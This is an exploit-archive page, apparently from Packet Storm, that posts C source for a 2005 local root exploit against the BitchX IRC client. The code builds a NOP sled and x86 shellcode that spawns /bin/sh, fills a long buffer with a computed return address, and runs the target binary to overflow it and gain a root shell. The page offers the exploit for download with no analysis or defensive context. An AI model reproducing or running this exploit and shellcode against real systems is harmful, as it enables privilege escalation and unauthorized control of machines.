what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

bitchxLocal.c

bitchxLocal.c
Posted Nov 30, 2005
Authored by sha0

Local root exploit for BitchX. Note that BitchX is not normally setuid by default.

tags | exploit, local, root
SHA-256 | 15287501f0909a92ceef2b952590a8030acdd609f74bc714559cd9bb0c867974

bitchxLocal.c

Change Mirror Download
// BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-)
// este exploit se lo dedico a mi chica.
// 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)
// 2052 to the ret

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char payload[69];
char sha0code[] =
"\xeb\x16\x5b\x31\xc0"
"\x50\x53\xb0\x0b\x89"
"\xdb\x89\xe1\x31\xd2"
"\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80\xe8"
"\xe5\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";


void nopea (void);

int main (int argc, char **argv) {

char *buff;
char *arg1="bash";
char *arg2="-c";
char *arg[]={arg1,arg2,buff,NULL};
char *env[]={"TERM=xterm",payload,NULL};
char offset[]="";
char sret[4];
unsigned long lret;
int i;

if (argc != 2) {
fprintf (stdout,"BitchX exploit Coded By Sha0\n");
fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]);
return (1);
}

buff = (char *)malloc (2100);
bzero (buff,sizeof(buff));
arg[2] = buff;

nopea ();

lret = 0xbffffffa - strlen(payload) - strlen(argv[1]);
sret[0] = (0x000000ff & lret);
sret[1] = (0x0000ff00 & lret) >> 8;
sret[2] = (0x00ff0000 & lret) >> 16;
sret[3] = (0xff000000 & lret) >> 24;

for (i=0;i<2088;i+=4) // 2088 tirando largo.
memcpy (buff+i,sret,4);

execve (argv[1],arg,env);
perror ("execve()");

free (buff);
return (0);
}


void nopea (void) {
bzero (payload,sizeof(payload));
memset (payload,0x90,sizeof(payload)-1);
memcpy (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close